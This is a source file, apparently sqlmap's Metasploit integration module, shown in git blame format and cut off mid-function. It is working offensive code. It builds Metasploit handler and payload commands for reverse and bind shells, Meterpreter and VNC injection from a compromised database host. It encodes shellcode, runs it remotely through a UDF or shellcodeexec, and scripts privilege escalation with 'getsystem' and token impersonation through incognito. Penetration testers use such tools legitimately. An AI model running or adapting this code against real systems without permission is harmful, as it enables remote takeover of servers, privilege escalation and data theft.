2009-04-22 15:48:07 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2012-07-12 21:38:03 +04:00
|
|
|
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2009-04-22 15:48:07 +04:00
|
|
|
"""
|
|
|
|
|
2010-05-29 14:10:28 +04:00
|
|
|
import codecs
|
2009-04-22 15:48:07 +04:00
|
|
|
import os
|
|
|
|
import re
|
|
|
|
import sys
|
|
|
|
import time
|
|
|
|
|
|
|
|
from select import select
|
|
|
|
from subprocess import PIPE
|
|
|
|
from subprocess import Popen as execute
|
|
|
|
|
|
|
|
from lib.core.common import dataToStdout
|
2011-01-28 19:36:09 +03:00
|
|
|
from lib.core.common import Backend
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import getLocalIP
|
|
|
|
from lib.core.common import getRemoteIP
|
2010-06-02 16:45:40 +04:00
|
|
|
from lib.core.common import getUnicode
|
2010-01-28 20:07:34 +03:00
|
|
|
from lib.core.common import normalizePath
|
2010-04-23 20:34:20 +04:00
|
|
|
from lib.core.common import ntToPosixSlashes
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import randomRange
|
|
|
|
from lib.core.common import randomStr
|
|
|
|
from lib.core.common import readInput
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import logger
|
2011-04-25 03:01:21 +04:00
|
|
|
from lib.core.data import paths
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2011-04-23 20:25:09 +04:00
|
|
|
from lib.core.enums import OS
|
2012-12-06 17:14:19 +04:00
|
|
|
from lib.core.exception import SqlmapDataException
|
|
|
|
from lib.core.exception import SqlmapFilePathException
|
2012-07-27 18:29:33 +04:00
|
|
|
from lib.core.settings import IS_WIN
|
2011-01-30 14:36:03 +03:00
|
|
|
from lib.core.settings import UNICODE_ENCODING
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.subprocessng import blockingReadFromFD
|
|
|
|
from lib.core.subprocessng import blockingWriteToFD
|
2010-10-29 14:51:09 +04:00
|
|
|
from lib.core.subprocessng import pollProcess
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.subprocessng import setNonBlocking
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit:
|
|
|
|
"""
|
|
|
|
This class defines methods to call Metasploit for plugins.
|
|
|
|
"""
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _initVars(self):
|
2011-04-30 17:20:05 +04:00
|
|
|
self.connectionStr = None
|
|
|
|
self.lhostStr = None
|
|
|
|
self.rhostStr = None
|
|
|
|
self.portStr = None
|
|
|
|
self.payloadStr = None
|
|
|
|
self.encoderStr = None
|
2009-09-26 03:03:45 +04:00
|
|
|
self.payloadConnStr = None
|
2011-04-30 17:20:05 +04:00
|
|
|
self.localIP = getLocalIP()
|
|
|
|
self.remoteIP = getRemoteIP()
|
2012-12-06 17:14:19 +04:00
|
|
|
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
|
|
|
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
|
|
|
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
|
2011-04-30 17:20:05 +04:00
|
|
|
|
2012-07-27 18:29:33 +04:00
|
|
|
if IS_WIN:
|
|
|
|
_ = normalizePath(os.path.join(conf.msfPath, "..", "scripts", "setenv.bat"))
|
2012-12-06 17:14:19 +04:00
|
|
|
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
|
|
|
|
self._msfEncode = "ruby %s" % self._msfEncode
|
|
|
|
self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
|
2012-07-27 18:29:33 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._msfPayloadsList = {
|
2009-04-22 15:48:07 +04:00
|
|
|
"windows": {
|
2009-11-16 19:39:31 +03:00
|
|
|
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
2009-12-18 01:04:01 +03:00
|
|
|
2: ( "Shell", "windows/shell" ),
|
|
|
|
3: ( "VNC", "windows/vncinject" ),
|
2009-04-22 15:48:07 +04:00
|
|
|
},
|
|
|
|
"linux": {
|
2011-07-26 14:29:14 +04:00
|
|
|
1: ( "Shell (default)", "linux/x86/shell" ),
|
|
|
|
2: ( "Meterpreter (beta)", "linux/x86/meterpreter" ),
|
2009-04-22 15:48:07 +04:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._msfConnectionsList = {
|
2009-04-22 15:48:07 +04:00
|
|
|
"windows": {
|
2009-11-16 19:39:31 +03:00
|
|
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
|
|
|
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
2011-07-26 14:29:14 +04:00
|
|
|
3: ( "Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http" ),
|
|
|
|
4: ( "Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https" ),
|
|
|
|
5: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" )
|
2009-04-22 15:48:07 +04:00
|
|
|
},
|
|
|
|
"linux": {
|
2009-11-16 19:39:31 +03:00
|
|
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
|
|
|
2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
2009-04-22 15:48:07 +04:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._msfEncodersList = {
|
2009-04-22 15:48:07 +04:00
|
|
|
"windows": {
|
|
|
|
1: ( "No Encoder", "generic/none" ),
|
|
|
|
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
|
|
|
|
3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
|
|
|
|
4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
|
|
|
|
5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
|
|
|
|
6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
|
|
|
|
7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
|
|
|
|
8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
|
|
|
|
9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
|
|
|
|
10: ( "Non-Upper Encoder", "x86/nonupper" ),
|
|
|
|
11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
|
|
|
|
12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
|
|
|
|
13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._msfSMBPortsList = {
|
2009-04-22 15:48:07 +04:00
|
|
|
"windows": {
|
2010-05-29 19:28:37 +04:00
|
|
|
1: ( "139/TCP", "139" ),
|
|
|
|
2: ( "445/TCP (default)", "445" ),
|
2009-04-22 15:48:07 +04:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._portData = {
|
2011-07-26 14:29:14 +04:00
|
|
|
"bind": "remote port number",
|
|
|
|
"reverse": "local port number",
|
|
|
|
}
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
2011-04-23 20:25:09 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS):
|
2009-04-28 03:05:11 +04:00
|
|
|
opSys = "windows"
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2009-04-28 03:05:11 +04:00
|
|
|
opSys = "linux"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
message = "which %s do you want to use?" % msg
|
|
|
|
|
|
|
|
if lst:
|
2009-04-28 03:05:11 +04:00
|
|
|
for num, data in lst[opSys].items():
|
2009-04-22 15:48:07 +04:00
|
|
|
description = data[0]
|
|
|
|
|
|
|
|
if num > maxValue:
|
|
|
|
maxValue = num
|
|
|
|
|
2009-07-06 18:40:33 +04:00
|
|
|
if "(default)" in description:
|
2009-04-22 15:48:07 +04:00
|
|
|
default = num
|
|
|
|
|
|
|
|
message += "\n[%d] %s" % (num, description)
|
|
|
|
else:
|
|
|
|
message += " [%d] " % default
|
|
|
|
|
|
|
|
choice = readInput(message, default="%d" % default)
|
|
|
|
|
|
|
|
if not choice:
|
|
|
|
if lst:
|
2011-01-30 14:36:03 +03:00
|
|
|
choice = getUnicode(default, UNICODE_ENCODING)
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
|
|
|
return default
|
|
|
|
|
|
|
|
elif not choice.isdigit():
|
|
|
|
logger.warn("invalid value, only digits are allowed")
|
2012-12-06 17:14:19 +04:00
|
|
|
return self._skeletonSelection(msg, lst, maxValue, default)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
elif int(choice) > maxValue or int(choice) < 1:
|
|
|
|
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
|
2012-12-06 17:14:19 +04:00
|
|
|
return self._skeletonSelection(msg, lst, maxValue, default)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
choice = int(choice)
|
|
|
|
|
|
|
|
if lst:
|
2009-04-28 03:05:11 +04:00
|
|
|
choice = lst[opSys][choice][1]
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
return choice
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectSMBPort(self):
|
|
|
|
return self._skeletonSelection("SMB port", self._msfSMBPortsList)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectEncoder(self, encode=True):
|
2011-07-26 14:29:14 +04:00
|
|
|
# This is always the case except for --os-bof where the user can
|
|
|
|
# choose which encoder to use. When called from --os-pwn the encoder
|
|
|
|
# is always x86/alpha_mixed - used for sys_bineval() and
|
|
|
|
# shellcodeexec
|
2010-05-25 14:09:35 +04:00
|
|
|
if isinstance(encode, basestring):
|
2009-09-26 03:03:45 +04:00
|
|
|
return encode
|
|
|
|
|
2011-07-26 14:29:14 +04:00
|
|
|
elif encode:
|
2012-12-06 17:14:19 +04:00
|
|
|
return self._skeletonSelection("payload encoding", self._msfEncodersList)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectPayload(self):
|
2011-04-23 20:25:09 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
2010-01-26 04:14:44 +03:00
|
|
|
infoMsg += "it is the only payload that can be used to "
|
2011-07-26 14:29:14 +04:00
|
|
|
infoMsg += "escalate privileges via 'incognito' extension, "
|
|
|
|
infoMsg += "'getsystem' command or post modules"
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
_payloadStr = "windows/meterpreter"
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2012-12-06 17:14:19 +04:00
|
|
|
_payloadStr = self._skeletonSelection("payload", self._msfPayloadsList)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
if _payloadStr == "windows/vncinject":
|
2009-04-22 15:48:07 +04:00
|
|
|
choose = False
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
if Backend.isDbms(DBMS.MYSQL):
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg += "user, it is likely that the the VNC "
|
|
|
|
debugMsg += "injection will be successful"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.PGSQL):
|
2009-04-22 15:48:07 +04:00
|
|
|
choose = True
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "by default PostgreSQL on Windows runs as "
|
2009-04-22 15:48:07 +04:00
|
|
|
warnMsg += "postgres user, it is unlikely that the VNC "
|
|
|
|
warnMsg += "injection will be successful"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
|
2009-04-22 15:48:07 +04:00
|
|
|
choose = True
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "it is unlikely that the VNC injection will be "
|
2009-12-03 01:52:17 +03:00
|
|
|
warnMsg += "successful because usually Microsoft SQL Server "
|
2011-01-28 19:36:09 +03:00
|
|
|
warnMsg += "%s runs as Network Service " % Backend.getVersion()
|
2009-04-22 15:48:07 +04:00
|
|
|
warnMsg += "or the Administrator is not logged in"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if choose:
|
2011-04-30 17:20:05 +04:00
|
|
|
message = "what do you want to do?\n"
|
2009-04-22 15:48:07 +04:00
|
|
|
message += "[1] Give it a try anyway\n"
|
2009-12-03 01:52:17 +03:00
|
|
|
message += "[2] Fall back to Meterpreter payload (default)\n"
|
2009-04-22 15:48:07 +04:00
|
|
|
message += "[3] Fall back to Shell payload"
|
|
|
|
|
|
|
|
while True:
|
|
|
|
choice = readInput(message, default="2")
|
|
|
|
|
|
|
|
if not choice or choice == "2":
|
2012-12-06 17:14:19 +04:00
|
|
|
_payloadStr = "windows/meterpreter"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
break
|
|
|
|
|
|
|
|
elif choice == "3":
|
2012-12-06 17:14:19 +04:00
|
|
|
_payloadStr = "windows/shell"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
break
|
|
|
|
|
|
|
|
elif choice == "1":
|
2011-04-30 18:54:29 +04:00
|
|
|
if Backend.isDbms(DBMS.PGSQL):
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.warn("beware that the VNC injection might not work")
|
|
|
|
|
|
|
|
break
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
|
2009-04-22 15:48:07 +04:00
|
|
|
break
|
|
|
|
|
|
|
|
elif not choice.isdigit():
|
|
|
|
logger.warn("invalid value, only digits are allowed")
|
|
|
|
|
|
|
|
elif int(choice) < 1 or int(choice) > 2:
|
|
|
|
logger.warn("invalid value, it must be 1 or 2")
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter":
|
2011-07-26 14:29:14 +04:00
|
|
|
warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "")
|
|
|
|
warnMsg += "with the Meterpreter payload. Falling back to "
|
|
|
|
warnMsg += "reverse TCP"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
self.connectionStr = "reverse_tcp"
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
return _payloadStr
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectPort(self):
|
|
|
|
for connType, connStr in self._portData.items():
|
2009-04-22 15:48:07 +04:00
|
|
|
if self.connectionStr.startswith(connType):
|
2012-12-06 17:14:19 +04:00
|
|
|
return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectRhost(self):
|
2009-04-22 15:48:07 +04:00
|
|
|
if self.connectionStr.startswith("bind"):
|
2012-10-23 17:52:43 +04:00
|
|
|
message = "what is the back-end DBMS address? [%s] " % self.remoteIP
|
2009-04-22 15:48:07 +04:00
|
|
|
address = readInput(message, default=self.remoteIP)
|
|
|
|
|
|
|
|
if not address:
|
|
|
|
address = self.remoteIP
|
|
|
|
|
|
|
|
return address
|
|
|
|
|
|
|
|
elif self.connectionStr.startswith("reverse"):
|
|
|
|
return None
|
|
|
|
|
|
|
|
else:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapDataException, "unexpected connection type"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectLhost(self):
|
2011-07-26 14:29:14 +04:00
|
|
|
if self.connectionStr.startswith("reverse"):
|
2012-10-23 17:52:43 +04:00
|
|
|
message = "what is the local address? [%s] " % self.localIP
|
2009-04-24 14:27:52 +04:00
|
|
|
address = readInput(message, default=self.localIP)
|
|
|
|
|
|
|
|
if not address:
|
|
|
|
address = self.localIP
|
|
|
|
|
|
|
|
return address
|
|
|
|
|
|
|
|
elif self.connectionStr.startswith("bind"):
|
|
|
|
return None
|
|
|
|
|
|
|
|
else:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapDataException, "unexpected connection type"
|
|
|
|
|
|
|
|
def _selectConnection(self):
|
|
|
|
return self._skeletonSelection("connection type", self._msfConnectionsList)
|
|
|
|
|
|
|
|
def _prepareIngredients(self, encode=True):
|
|
|
|
self.connectionStr = self._selectConnection()
|
|
|
|
self.lhostStr = self._selectLhost()
|
|
|
|
self.rhostStr = self._selectRhost()
|
|
|
|
self.portStr = self._selectPort()
|
|
|
|
self.payloadStr = self._selectPayload()
|
|
|
|
self.encoderStr = self._selectEncoder(encode)
|
2011-07-26 14:29:14 +04:00
|
|
|
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _forgeMsfCliCmd(self, exitfunc="process"):
|
|
|
|
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
|
|
|
self._cliCmd += " EXITFUNC=%s" % exitfunc
|
|
|
|
self._cliCmd += " LPORT=%s" % self.portStr
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
if self.connectionStr.startswith("bind"):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._cliCmd += " RHOST=%s" % self.rhostStr
|
2009-04-22 15:48:07 +04:00
|
|
|
elif self.connectionStr.startswith("reverse"):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._cliCmd += " LHOST=%s" % self.lhostStr
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapDataException, "unexpected connection type"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-07-26 14:29:14 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
|
2012-12-06 17:14:19 +04:00
|
|
|
self._cliCmd += " DisableCourtesyShell=true"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._cliCmd += " E"
|
2009-05-11 19:37:48 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _forgeMsfCliCmdForSmbrelay(self):
|
|
|
|
self._prepareIngredients(encode=False)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
|
|
|
self._cliCmd += " EXITFUNC=thread"
|
|
|
|
self._cliCmd += " LPORT=%s" % self.portStr
|
|
|
|
self._cliCmd += " SRVHOST=%s" % self.lhostStr
|
|
|
|
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
if self.connectionStr.startswith("bind"):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._cliCmd += " RHOST=%s" % self.rhostStr
|
2009-04-22 15:48:07 +04:00
|
|
|
elif self.connectionStr.startswith("reverse"):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._cliCmd += " LHOST=%s" % self.lhostStr
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapDataException, "unexpected connection type"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._cliCmd += " E"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
|
|
|
self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr)
|
|
|
|
self._payloadCmd += " EXITFUNC=%s" % exitfunc
|
|
|
|
self._payloadCmd += " LPORT=%s" % self.portStr
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
if self.connectionStr.startswith("reverse"):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._payloadCmd += " LHOST=%s" % self.lhostStr
|
2009-04-22 15:48:07 +04:00
|
|
|
elif not self.connectionStr.startswith("bind"):
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapDataException, "unexpected connection type"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-07-26 14:29:14 +04:00
|
|
|
if Backend.isOs(OS.LINUX) and conf.privEsc:
|
2012-12-06 17:14:19 +04:00
|
|
|
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
|
2011-07-26 14:29:14 +04:00
|
|
|
|
|
|
|
if extra == "BufferRegister=EAX":
|
2012-12-06 17:14:19 +04:00
|
|
|
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
if extra is not None:
|
2012-12-06 17:14:19 +04:00
|
|
|
self._payloadCmd += " %s" % extra
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2012-12-06 17:14:19 +04:00
|
|
|
self._payloadCmd += " X > \"%s\"" % outFile
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _runMsfCliSmbrelay(self):
|
|
|
|
self._forgeMsfCliCmdForSmbrelay()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-09-12 21:26:22 +04:00
|
|
|
infoMsg = "running Metasploit Framework command line "
|
2010-12-10 18:28:56 +03:00
|
|
|
infoMsg += "interface locally, please wait.."
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
logger.debug("executing local command: %s" % self._cliCmd)
|
|
|
|
self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _runMsfCli(self, exitfunc):
|
|
|
|
self._forgeMsfCliCmd(exitfunc)
|
2011-07-26 14:29:14 +04:00
|
|
|
|
2011-09-12 21:26:22 +04:00
|
|
|
infoMsg = "running Metasploit Framework command line "
|
2011-07-26 14:29:14 +04:00
|
|
|
infoMsg += "interface locally, please wait.."
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
logger.debug("executing local command: %s" % self._cliCmd)
|
|
|
|
self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _runMsfShellcodeRemote(self):
|
2011-09-12 21:26:22 +04:00
|
|
|
infoMsg = "running Metasploit Framework shellcode "
|
2010-12-10 18:28:56 +03:00
|
|
|
infoMsg += "remotely via UDF 'sys_bineval', please wait.."
|
2009-09-26 03:03:45 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _runMsfShellcodeRemoteViaSexec(self):
|
2011-09-12 21:26:22 +04:00
|
|
|
infoMsg = "running Metasploit Framework shellcode remotely "
|
2011-04-25 03:01:21 +04:00
|
|
|
infoMsg += "via shellcodeexec, please wait.."
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2011-04-23 20:25:09 +04:00
|
|
|
if not Backend.isOs(OS.WINDOWS):
|
2011-04-25 03:01:21 +04:00
|
|
|
self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True)
|
2011-05-23 19:27:10 +04:00
|
|
|
cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString)
|
|
|
|
else:
|
|
|
|
cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
self.execCmd(cmd, silent=True)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _loadMetExtensions(self, proc, metSess):
|
2011-04-23 20:25:09 +04:00
|
|
|
if not Backend.isOs(OS.WINDOWS):
|
2009-04-22 15:48:07 +04:00
|
|
|
return
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
proc.stdin.write("use espia\n")
|
|
|
|
proc.stdin.write("use incognito\n")
|
2011-07-26 14:29:14 +04:00
|
|
|
# This extension is loaded by default since Metasploit > 3.7
|
|
|
|
#proc.stdin.write("use priv\n")
|
|
|
|
# This extension freezes the connection on 64-bit systems
|
2011-07-20 17:50:02 +04:00
|
|
|
#proc.stdin.write("use sniffer\n")
|
2010-01-29 05:27:50 +03:00
|
|
|
proc.stdin.write("sysinfo\n")
|
2010-01-29 17:57:33 +03:00
|
|
|
proc.stdin.write("getuid\n")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if conf.privEsc:
|
2009-04-22 15:48:07 +04:00
|
|
|
print
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "trying to escalate privileges using Meterpreter "
|
2010-01-29 17:57:33 +03:00
|
|
|
infoMsg += "'getsystem' command which tries different "
|
|
|
|
infoMsg += "techniques, including kitrap0d"
|
2010-01-29 05:27:50 +03:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2010-01-29 17:57:33 +03:00
|
|
|
proc.stdin.write("getsystem\n")
|
2010-01-29 05:27:50 +03:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "displaying the list of Access Tokens availables. "
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg += "Choose which user you want to impersonate by "
|
2010-01-29 17:57:33 +03:00
|
|
|
infoMsg += "using incognito's command 'impersonate_token' if "
|
2010-03-13 01:43:35 +03:00
|
|
|
infoMsg += "'getsystem' does not success to elevate privileges"
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
proc.stdin.write("list_tokens -u\n")
|
2010-01-29 05:27:50 +03:00
|
|
|
proc.stdin.write("getuid\n")
|
2010-01-26 04:14:44 +03:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _controlMsfCmd(self, proc, func):
|
2009-04-22 15:48:07 +04:00
|
|
|
stdin_fd = sys.stdin.fileno()
|
|
|
|
setNonBlocking(stdin_fd)
|
|
|
|
|
|
|
|
proc_out_fd = proc.stdout.fileno()
|
|
|
|
setNonBlocking(proc_out_fd)
|
|
|
|
|
|
|
|
while True:
|
|
|
|
returncode = proc.poll()
|
|
|
|
|
|
|
|
if returncode is None:
|
|
|
|
# Child hasn't exited yet
|
|
|
|
pass
|
|
|
|
else:
|
|
|
|
logger.debug("connection closed properly")
|
|
|
|
return returncode
|
|
|
|
|
|
|
|
try:
|
|
|
|
ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
|
|
|
|
|
|
|
|
if stdin_fd in ready_fds[0]:
|
|
|
|
try:
|
|
|
|
proc.stdin.write(blockingReadFromFD(stdin_fd))
|
|
|
|
except IOError:
|
|
|
|
# Probably the child has exited
|
|
|
|
pass
|
|
|
|
|
|
|
|
if proc_out_fd in ready_fds[0]:
|
|
|
|
out = blockingReadFromFD(proc_out_fd)
|
|
|
|
blockingWriteToFD(sys.stdout.fileno(), out)
|
|
|
|
|
|
|
|
# For --os-pwn and --os-bof
|
2011-04-30 17:20:05 +04:00
|
|
|
pwnBofCond = self.connectionStr.startswith("reverse")
|
2009-04-22 15:48:07 +04:00
|
|
|
pwnBofCond &= "Starting the payload handler" in out
|
|
|
|
|
|
|
|
# For --os-smbrelay
|
|
|
|
smbRelayCond = "Server started" in out
|
|
|
|
|
|
|
|
if pwnBofCond or smbRelayCond:
|
|
|
|
func()
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
if "Starting the payload handler" in out and "shell" in self.payloadStr:
|
2011-04-23 20:25:09 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS):
|
2009-09-26 03:03:45 +04:00
|
|
|
proc.stdin.write("whoami\n")
|
|
|
|
else:
|
|
|
|
